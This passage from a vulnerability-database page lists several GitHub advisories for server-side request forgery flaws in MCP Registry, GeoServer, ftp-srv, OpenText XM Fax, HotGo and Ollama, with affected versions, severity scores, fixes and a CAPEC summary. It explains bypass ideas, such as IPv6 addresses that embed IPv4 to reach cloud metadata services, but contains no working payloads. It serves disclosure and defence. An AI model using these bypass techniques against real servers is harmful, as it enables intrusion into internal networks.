host having NAT64 or 6to4 routing \u2014 the **default** on IPv6-only and dual-stack cloud network plans (GKE IPv6, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64) but not on plain-IPv4 deployments. Privileges = None (the endpoint is the login flow itself).\n\nFor the official `https://registry.modelcontextprotocol.io` deployment specifically, this lets an unauthenticated attacker reach any IPv4 address that is routable from the registry\u0027s outbound interface \u2014 including AWS / GCP / Azure metadata services if hosted on a cloud VM with metadata enabled, internal Kubernetes API servers, internal admin panels, etc. The 4 KiB response cap (`MaxKeyResponseSize`) limits exfiltrated content per request but does not prevent fingerprinting / oracle attacks (status-code differential, response-length differential).\n\nSelf-hosters running the registry on dual-stack / IPv6-only infrastructure are equally exposed.\n\n### Why this slipped past PR #1227\n\nThe April 29 hardening batch (commit `1201cbd`, \"security: fix open redirect and add small hardening\") explicitly added `safeDialContext` to block \"loopback, RFC1918, link-local, multicast, CGNAT, or IP-literal/single-label\" addresses. The author correctly identified the IPv4 attack surface and the link-local cloud-metadata vector, but composed the blocklist from Go\u0027s per-class stdlib helpers \u2014 which collectively miss the IPv6 prefix families that *embed* IPv4. The same gap was caught and fixed in n8n-mcp (GHSA-56c3-vfp2-5qqj). No commits in `git log --since=2026-03-01 internal/api/handlers/v0/auth/http.go` reference 6to4 / NAT64 / site-local.\n\n### Credit\n\nReported by **Matteo Panzeri** (GitHub: **matte1782**).",
  "id": "GHSA-r48c-v28r-pf6v",
  "modified": "2026-05-15T23:46:20Z",
  "published": "2026-05-08T17:20:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/registry/security/advisories/GHSA-r48c-v28r-pf6v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/registry/pull/1250"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/registry/commit/f5f40bd98084466eaf18fe48ea62a0d534caa774"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/registry"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/registry/releases/tag/v1.7.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MCP Registry has an unauthenticated SSRF: HTTP namespace verification dials 6to4 / NAT64 / site-local IPv6 addresses, bypassing private-address allowlist"
}

GHSA-R4HF-R8GJ-JGW2

Vulnerability from github – Published: 2025-06-10 14:14 – Updated: 2025-06-10 15:35
VLAI
Summary
Coverage REST API Server Side Request Forgery
Details

Summary

The Coverage rest api /workspaces/{workspaceName}/coveragestores/{storeName}/{method}.{format} allow to upload file with a specified url (with {method} equals 'url') with no restrict.

Details

The Coverage rest api /workspaces/{workspaceName}/coveragestores/{storeName}/{method}.{format} allow to upload file with a specified url (with {method} equals 'url'). But this url has not been check with URL Checks feature.

For example, should add the code below to check fileURL:

URLCheckers.confirm(fileURL)

The vulnerable code was RESTUtils.java

Impact

This vulnerability presents the opportunity for Server Side Request Forgery.

References

  • https://osgeo-org.atlassian.net/browse/GEOS-11468
  • https://osgeo-org.atlassian.net/browse/GEOS-11717
Severity
5.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver:gs-rest"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.geoserver.web:gs-web-app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-40625"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-10T14:14:59Z",
    "nvd_published_at": "2025-06-10T15:15:23Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe Coverage rest api `/workspaces/{workspaceName}/coveragestores/{storeName}/{method}.{format}` allow to upload file with a specified url (with {method} equals \u0027url\u0027) with no restrict.\n\n### Details\n\nThe Coverage rest api `/workspaces/{workspaceName}/coveragestores/{storeName}/{method}.{format}` allow to upload file with a specified url (with {method} equals \u0027url\u0027). But this url has not been check with [URL Checks feature](https://docs.geoserver.org/latest/en/user/security/urlchecks.html#url-checks).\n\nFor example, should add the code below to check fileURL:\n\n```java\nURLCheckers.confirm(fileURL)\n```\n\nThe vulnerable code was [RESTUtils.java](https://github.com/geoserver/geoserver/blob/main/src/rest/src/main/java/org/geoserver/rest/util/RESTUtils.java#L176)\n\n### Impact\n\nThis vulnerability presents the opportunity for Server Side Request Forgery.\n\n### References\n\n- https://osgeo-org.atlassian.net/browse/GEOS-11468\n- https://osgeo-org.atlassian.net/browse/GEOS-11717",
  "id": "GHSA-r4hf-r8gj-jgw2",
  "modified": "2025-06-10T15:35:32Z",
  "published": "2025-06-10T14:14:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-r4hf-r8gj-jgw2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40625"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/geoserver/geoserver"
    },
    {
      "type": "WEB",
      "url": "https://osgeo-org.atlassian.net/browse/GEOS-11468"
    },
    {
      "type": "WEB",
      "url": "https://osgeo-org.atlassian.net/browse/GEOS-11717"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coverage REST API Server Side Request Forgery"
}

GHSA-R4M5-47CQ-6QG8

Vulnerability from github – Published: 2020-09-04 17:25 – Updated: 2024-01-08 21:29
VLAI
Summary
Server-Side Request Forgery in ftp-srv
Details

All versions of ftp-srv from v1.0.0 onward to v4.3.3 are vulnerable to Server-Side Request Forgery (SSRF). The package fails to prevent remote clients to access other resources in the network, for example when connecting to the server through telnet. This allows attackers to access any network resources available to the server, including private resources in the hosting environment.

Recommendation

Upgrade to patched versions ^2.19.6, ^3.1.2, ^4.3.4

Workarounds

Blacklisting the FTP Command PORT will prevent the server from exposing this behaviour through active connections until a fix is applied.

const ftp = new FtpSrv({
  blacklist: ['PORT']
});
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ftp-srv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "2.19.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ftp-srv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ftp-srv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:59:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "All versions of `ftp-srv` from v1.0.0 onward to v4.3.3 are vulnerable to Server-Side Request Forgery (SSRF). The package fails to prevent remote clients to access other resources in the network, for example when connecting to the server through telnet. This allows attackers to access any network resources available to the server, including private resources in the hosting environment.\n\n\n## Recommendation\n\nUpgrade to patched versions\n`^2.19.6, ^3.1.2, ^4.3.4`\n\n## Workarounds\nBlacklisting the FTP Command PORT will prevent the server from exposing this behaviour through active connections until a fix is applied.\n\n```\nconst ftp = new FtpSrv({\n  blacklist: [\u0027PORT\u0027]\n});\n```",
  "id": "GHSA-r4m5-47cq-6qg8",
  "modified": "2024-01-08T21:29:30Z",
  "published": "2020-09-04T17:25:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QuorumDMS/ftp-srv/security/advisories/GHSA-jw37-5gqr-cf9j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QuorumDMS/ftp-srv"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1445"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Server-Side Request Forgery in ftp-srv"
}

GHSA-R4M5-GC42-8VVH

Vulnerability from github – Published: 2026-02-20 00:31 – Updated: 2026-02-23 21:31
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in OpenText™ XM Fax allows Server Side Request Forgery. 

The vulnerability could allow an attacker to

perform blind SSRF to other systems accessible from the XM Fax server.

This issue affects XM Fax: 24.2.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/S:N/AU:Y/R:A/V:D/RE:M/U:Amber
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-8055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-19T23:16:15Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in OpenText\u2122 XM Fax allows Server Side Request Forgery.\u00a0\n\nThe vulnerability could allow an attacker to\n\n\n\nperform blind SSRF to other systems accessible from the XM Fax server.\n\nThis issue affects XM Fax: 24.2.",
  "id": "GHSA-r4m5-gc42-8vvh",
  "modified": "2026-02-23T21:31:23Z",
  "published": "2026-02-20T00:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8055"
    },
    {
      "type": "WEB",
      "url": "https://support.opentext.com/csm?id=ot_kb_unauthenticated\u0026sysparm_article=KB0847038"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:A/V:D/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-R4RQ-7W7J-CMR6

Vulnerability from github – Published: 2026-03-08 00:31 – Updated: 2026-03-08 00:31
VLAI
Details

A vulnerability was detected in bufanyun HotGo up to 2.0. This issue affects the function ImageTransferStorage of the file /server/internal/logic/common/upload.go of the component Endpoint. The manipulation results in server-side request forgery. The attack may be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-3683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-08T00:16:14Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was detected in bufanyun HotGo up to 2.0. This issue affects the function ImageTransferStorage of the file /server/internal/logic/common/upload.go of the component Endpoint. The manipulation results in server-side request forgery. The attack may be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-r4rq-7w7j-cmr6",
  "modified": "2026-03-08T00:31:47Z",
  "published": "2026-03-08T00:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CC-T-454455/Vulnerabilities/tree/master/hotgo/vulnerability-1"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.349585"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.349585"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.765588"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-R4WP-GG33-WHWG

Vulnerability from github – Published: 2026-04-05 03:30 – Updated: 2026-07-07 21:31
VLAI
Details

A flaw has been found in Ollama up to 18.1. This issue affects some unknown processing of the file server/download.go of the component Model Pull API. Executing a manipulation can lead to server-side request forgery. The attack can be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-5530"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-05T01:16:48Z",
    "severity": "MODERATE"
  },
  "details": "A flaw has been found in Ollama up to 18.1. This issue affects some unknown processing of the file server/download.go of the component Model Pull API. Executing a manipulation can lead to server-side request forgery. The attack can be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-r4wp-gg33-whwg",
  "modified": "2026-07-07T21:31:24Z",
  "published": "2026-04-05T03:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5530"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-5530"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/782107"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/355283"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/355283/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list